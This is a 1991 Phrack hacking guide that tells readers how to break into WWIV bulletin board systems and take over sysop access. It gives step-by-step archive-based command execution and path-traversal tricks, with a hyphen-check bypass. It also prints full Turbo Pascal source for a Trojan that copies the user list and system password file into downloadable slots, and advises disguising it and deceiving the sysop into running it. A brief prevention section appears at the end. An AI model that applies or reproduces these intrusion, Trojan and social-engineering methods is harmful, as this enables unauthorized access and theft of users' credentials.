The Hacker's Encyclopedia 1998/hackers_encyclopedia.iso/zines/phrack2/phrack34.005

Text File | 2003-06-11 | 17.1 KB | 413 lines

                                ==Phrack Inc.==

                Volume Three, Issue Thirty-four, File #5 of 11

                          ***                    ***
                          ***                    ***
                          *** The Complete Guide ***
                          ***  to Hacking WWIV   ***
                          ***                    ***
                          ***     by Inhuman     ***
                          ***   September 1991   ***
                          ***                    ***
                          ***                    ***

     WWIV is one of the most popular BBS programs in the country.  With
thousands of boards in WWIVnet and hundreds in the spinoff WWIVlink, there is a
lot of support and community.  The nice thing about WWIV is that it is very
easy to set up.  This makes it popular among the younger crowd of sysops who
can't comprehend the complexities of fossil drivers and batch files.  In this
file, I will discuss four methods of hacking WWIV to achieve sysop access and
steal the user and configuration files.  Just remember the number one rule
of hacking: Don't destroy, alter, or create files on someone else's computer,
unless it's to cover your own trail.  Believe me, there is nothing lower than
the scum who hack BBSes for the sheer pleasure of formatting someone else's
hard drive.  But there is nothing wrong (except legally) with hacking a system
to look at the sysop's files, get phone numbers, accounts, etc.  Good luck.

***
*** Technique #1: The Wildcard Upload
***

     This technique will only work on a board running an unregistered
old version of DSZ and a version of WWIV previous to v4.12.  It is all
based on the fact that if you do a wildcard upload (*.*), whatever file you
upload will go into the same directory as DSZ.COM, which is often the main BBS
directory.  So there are several methods of hacking using this technique.

     If the sysop is running an unmodified version of WWIV, you can simply
compile a modded version of it with a backdoor and overwrite his copy.  Your
new copy will not be loaded into memory until the BBS either shrinks out (by
running an onliner or something), or the sysop terminates the BBS and runs it
again.

     You can also have some fun with two strings that WWIV always recognizes at
the NN: prompt: "!@-NETWORK-@!" and "!@-REMOTE-@!".  The first is used by
WWIVnet to tell the BBS that it is receiving a net call.  If the BBS is part of
a network and you type "!@-NETWORK-@!", it will then wait for the network
password and other data.  If the board is not part of a network, it will just
act like you typed an invalid user name.  The second string is reserved for
whatever programs people wanted to write for WWIV, like an off-line reader or
whatever.  Snarf (the file leeching utility) uses this.  If there is not a
REMOTE.EXE or REMOTE.COM in the main BBS directory, it will also act as if you
entered an invalid user name.  So, what you can do is wildcard upload either
REMOTE.COM or NETWORK.COM.  You want to call them COM files, because if the EXE
files already exist, the COM ones will be called first.  If the BBS is part of
a network, you should go for REMOTE.COM, because if you do NETWORK.COM, it will
screw up network communications and the sysop will notice a lot faster.  Of
course, if you're going straight in for the kill, it doesn't matter.

     So, what should NETWORK.COM or REMOTE.COM actually be? you ask.  Well, you
can try renaming COMMAND.COM to one of those two, which would make a DOS shell
for you when it was executed.  This is tricky, though, because you need to know
his DOS version.  I suggest a batch file, compiled to a COM file using PC Mag's
BAT2EXEC.  You can make the batch file have one line:

\COMMAND

     That way you don't have to worry about DOS versions.

     Remember that this method of hacking WWIV is almost completely obsolete.
It is just included for reference, or for some old board run from an empty
house where the sysop logs on twice a year or something.

***
*** Technique #2: The PKZIP Archive Hack
***

     Probably the most vulnerable part of WWIV is the archive section.  This
section allows users to unZIP files to a temporary directory and ZIP the files
you want into a temporary ZIP file, then download it.  This is useful if you
download a file from another board, but one file in it is corrupted.  This way
you don't have to re-download the whole file.  Anyway, on with the show.  Make
a zip file that contains a file called PKZIP.BAT or COM or EXE.  It doesn't
matter.  This file will be executed, so make it whatever you want, just like in
Technique #1.  Make it COMMAND.COM, or a batch file, or a HD destroyer,
whatever you want.  So you upload this file, and then type "E" to extract it.

It'll ask you what file to extract and you say the name of the file you just
uploaded.  It'll then say "Extract What? " and you say "*.*".  It'll then unzip
everything (your one file) into the TEMP directory.  Then go to the archive
menu ("G") and pick "A" to add a file to archive.  It'll ask what file you want
to add, and say anything, it doesn't matter.  At this point it will try to
execute the command:

PKZIP TEMP.ZIP \TEMP\%1

     Where %1 is what you just entered.  The file pointer is already pointing
to the temp directory, so instead of executing PKZIP from the DOS path, it'll
execute the file sitting in the current directory, TEMP.  So then it runs PKZIP
and you get your DOS shell or whatever.
     If PKZIP does not work, you may want to try uploading another file, and
use the same technique, but instead make it an ARC file and call the file in
the archive PKPAK.

     This technique is relatively easy to defeat from the sysop's end, but
often they are too lazy, or just haven't heard about it.

***
*** Technique #3: The -D Archive Hack
***

     This technique also plays on the openness of WWIV's archive system.  This
is another method of getting a file into the root BBS directory, or anywhere on
the hard drive, for that matter.

     First, create a temporary directory on your hard drive.  It doesn't matter
what it's called.  We'll call it TEMP.  Then, make a sub-directory of TEMP
called AA. It can actually be called any two-character combination, but we'll
keep it nice and simple.  Then make a subdirectory of AA called WWIV.

     Place NETWORK.COM or REMOTE.COM or whatever in the directory
\TEMP\AA\WWIV.  Then from the TEMP directory execute the command:

PKZIP -r -P STUFF.ZIP         <--- The case of "r" and "P" are important.

     This will create a zip file of all the contents of the directories, but
with all of the directory names recursed and stored.  So if you do a PKZIP -V
to list the files you should see AA\WWIV\REMOTE.COM, etc.

     Next, load STUFF.ZIP into a hex editor, like Norton Utilities, and search
for "AA".  When you find it (it should occur twice), change it to "C:".  It is
probably a good idea to do this twice, once with the subdirectory called WWIV,
and another with it called BBS, since those are the two most common main BBS
directory names for WWIV.  You may even want to try D: or E: in addition to C:.
You could even work backwards, by forgetting the WWIV subdirectory, and just
making it AA\REMOTE.COM, and changing the "AA" to "..".  This would be
foolproof.  You could work from there, doing "..\..\DOS\PKZIP.COM" or whatever.

     Then upload STUFF.ZIP (or whatever you want to call it) to the BBS, and
type "E" to extract it to a temporary directory.  It'll ask you what file.
Type "STUFF.ZIP".  It'll ask what you want to extract.  Type """-D".  It'll
then execute:

PKUNZIP STUFF.ZIP ""-D

     It will unzip everything into the proper directory.  Voila.  The quotation
marks are ignored by PKUNZIP and are only there to trip up WWIV v4.20's check
for the hyphen.  This method can only be defeated by modifying the source code,
or taking out the calls to any PKZIP or PKUNZIP programs in INIT, but then you
lose your archive section.



***
*** Technique #4: The Trojan Horse File-Stealer
***

     This method, if executed properly, is almost impossible to defeat, and
will conceivably work on any BBS program, if you know the directory structure
well enough.  Once again, you need PC Mag's BAT2EXEC, or enough programming
experience to write a program that will copy files from one place to another.
     The basic principle is this: You get the sysop to run a program that you
upload.  This program copies \WWIV\DATA\USER.LST and \WWIV\CONFIG.DAT *over*
files that already exist in the transfer or gfiles area.  You then go download
those files and you have the two most important files that exist for WWIV.
Now, you need to do a certain amount of guess-work here.  WWIV has it's
directories set up like this:



       --- TEMP
      I              --- DIR1
      I             I
      I--- DLOADS---I--- DIR2
      I             I
      I              --- DIR3
WWIV--I--- DATA
      I              --- GDIR1
      I             I
      I--- GFILES---I--- GDIR2
      I             I
      I              --- GDIR3
       --- MSGS


     The sysop sets the names for the DIR1, DIR2, etc.  Often you have names
like UPLOADS, GAMES, UTILS, etc.  For the gfile dirs you might have GENERAL,
HUMOR, whatever.

     So you have to make a guess at the sysop's directory names.  Let's say he
never moves his files from the upload directory.  Then do a directory list from
the transfer menu and pick two files that you don't think anyone will download.
Let's say you see:

RABBIT  .ZIP 164k : The History of Rabbits from Europe to the U.S.
SCD     .COM  12k : SuperCD - changes dirs 3% faster than DOS's CD!

     So you then might write a batch file like this:

@ECHO OFF
COPY \WWIV\DATA\USER.LST \WWIV\DLOADS\UPLOADS\RABBIT.ZIP
COPY \BBS\DATA\USER.LST \BBS\DLOADS\UPLOADS\RABBIT.ZIP
COPY \WWIV\CONFIG.DAT \WWIV\DLOADS\UPLOADS\SCD.COM
COPY \BBS\CONFIG.DAT \BBS\DLOADS\UPLOADS\SCD.COM

     You'd then compile it to a COM file and upload it to the sysop directory.
Obviously this file is going to be pretty small, so you have to make up
plausible use for it.  You could say it's an ANSI screen for your private BBS,
and the sysop is invited.  This is good if you have a fake account as the
president of some big cracking group.  You wouldn't believe how gullible some
sysops are.  At any rate, use your imagination to get him to run the file.  And
make it sound like he shouldn't distribute it, so he won't put it in some
public access directory.

     There is a problem with simply using a batch file.  The output will look
like:

1 file(s) copied.
File not found.
1 file(s) copied.
File not found.

     That might get him curious enough to look at it with a hex editor, which
would probably blow everything.  That's why it's better to write a program in
your favorite language to do this.  Here is a program that searches specified
drives and directories for CONFIG.DAT and USER.LST and copies them over the
files of your choice.  It was written in Turbo Pascal v5.5:

Program CopyThisOverThat;

{ Change the dir names to whatever you want.  If you change the number of
  locations it checks, be sure to change the "num" constants as well  }

uses dos;

const
   NumMainDirs = 5;
   MainDirs: array[1..NumMainDirs] of string[8] = ('BBS','WWIV','WORLD',
      'BOARD','WAR');
   NumGfDirs = 3;
   GFDirs: array[1..NumGFDirs] of string[8] = ('DLOADS','FILES','UPLOADS');
   NumSubGFDirs = 2;
   SubGFDirs: array[1..NumSubGFDirs] of string[8] = ('UPLOADS','MISC');

   NumDirsToTest = 3;
   DirsToTest: array[1..NumDirsToTest] of string[3] = ('C:\','D:\','E:\');
   {ok to test for one that doesn't exist}

   {Source file names include paths from the MAIN BBS subdir (e.g. "BBS")  }

   SourceFileNames: array[1..2] of string[25] = ('DATA\USER.LST','DATA\CONFIG.DA
T');

   { Dest file names are from subgfdirs }

   DestFileNames: array[1..2] of string[12] = ('\BDAY.MOD','\TVK.ZIP');

var
   p, q, r, x, y, dirN: byte;
   bigs: word;
   CurDir, BackDir: string[80];
   f1, f2: file;
   Info: pointer;
   ok: boolean;

Procedure Sorry;

var
   x, y: integer;
begin
for y := 1 to 1000 do
   for x := 1 to 100 do
      ;
Writeln;
Writeln ('<THIS IS DISPLAYED WHEN FINISHED>');  {change to something like }
Writeln;                                        {Abnormal program termination}
ChDir(BackDir);
Halt;
end;

begin

Write ('<THIS IS DISPLAYED WHILE SEARCHING>'); {change to something like }

{$I-}                                          {Loading...}

GetDir (0, BackDir);
ChDir('\');
for dirn := 1 to NumDirsToTest do
   begin
   ChDir(DirsToTest[dirn]);
   if IOResult = 0 then
      begin
      for p := 1 to NumMainDirs do
         begin
         ChDir (MainDirs[p]);
         if (IOResult <> 0) then
            begin
            if (p = NumMainDirs) and (dirn = NumDirsToTest) then
               Sorry;
            end else begin
            p := NumMainDirs;
            for q := 1 to NumGFDirs do
               begin
               ChDir (GFDirs[q]);
               if (IOResult <> 0) then
                  begin
                  if (q = NumGFDirs) and (dirn=NumdirsToTest) then
                     Sorry;
                  end else begin
                  q := NumGFDirs;
                  for r := 1 to NumSubGFDirs do
                     begin
                     ChDir (SubGFDirs[r]);
                     if (IOResult <> 0) then
                        begin
                        if r = NumSubGFDirs then
                           Sorry;
                        end else begin
                        r := NumSubGFDirs;
                        dirn := NumDirsToTest;
                        ok := true;
                        end;
                     end;
                  end;
               end;
            end;
         end;
      end;
   end;
GetDir (0, CurDir);
ChDir ('..');
ChDir ('..');
for x := 1 to 2 do
   begin
   Assign (f1, SourceFileNames[x]);
   Assign (f2, CurDir+DestFileNames[x]);
   Reset (f1, 1);
   if IOResult <> 0 then
      begin
      if x = 2 then
         Sorry;
      end else begin
      ReWrite (f2, 1);
      Bigs := FileSize(f1);
      GetMem(Info, Bigs);
      BlockRead(f1, Info^, Bigs);
      BlockWrite (f2, Info^, Bigs);
      FreeMem(Info, Bigs);
      end;
   end;
Sorry;
end.

     So hopefully the sysop runs this program and emails you with something
like "Hey it didn't work bozo!".  Or you could make it work.  You could
actually stick a BBS ad in the program or whatever.  It's up to you.  At any
rate, now you go download those files that it copied the USER.LST and
CONFIG.DAT over.  You can type out the CONFIG.DAT and the first word you see in
all caps is the system password.  There are several utilities for WWIV that let
you compile the USER.LST to a text file.  You can find something like that on a
big WWIV board, or you can try to figure it out with a text or hex editor.  At
any rate, once you have those two files, you're in good shape.

     You could also use a batch file like that in place of one that calls
COMMAND.COM for something like REMOTE.COM.  It's up to you.

***
*** Hacking Prevention
***

     So you are the sysop of a WWIV board, and are reading this file with
growing dismay.  Have no fear, if you have patience, almost all of these
methods can be fixed.

     To eliminate the wildcard upload, all you have to do it get a current copy
of WWIV (4.20), and the latest version of DSZ.  It's all been fixed.  To fix
the PKZIP archive hack, simply specify a path in INIT in all calls to PKZIP,
PKUNZIP, PKPAK, PKUNPAK, and any other archive programs you have.  So your
command lines should look like:

\DOS\PKZIP -V %1

     Or something similar.  That will fix that nicely.  To eliminate the -D
method, you have to make some modifications to the source code if you want to
keep your archive section.  Goose, sysop of the Twilight Zone BBS in VA,
puts out a NOHACK mod, which is updated regularly.  It fixes ALL of these
methods except the last.  The latest version of NOHACK is v2.4.  If you are a
WWIV sysop, put it in.

     I can think of two ways to stop the last method, but neither of them are
easy, and both require source code modifications.  You could keep track of the
filesize of a file when it's uploaded.  Then when someone goes to download it,
you could check the actual filesize with the size when it was uploaded.  If
they differ, it wouldn't let you download it.  You could do the same with the
date.  Although either method could be gotten around with enough patience.

     For a virtually unhackable system, voice validate all users, have all
uploads go to the sysop directory so you can look over them first, and don't
run any programs.  Of course, this is very tedious, but that is the price
of a secure BBS.

***
*** Thanks
***

     Thanks to Fenris Wolf for teaching me about the -D method, to Steve
for help with the CopyThisOverThat program, and to Insight for proofing this
file.

*******************************************************************************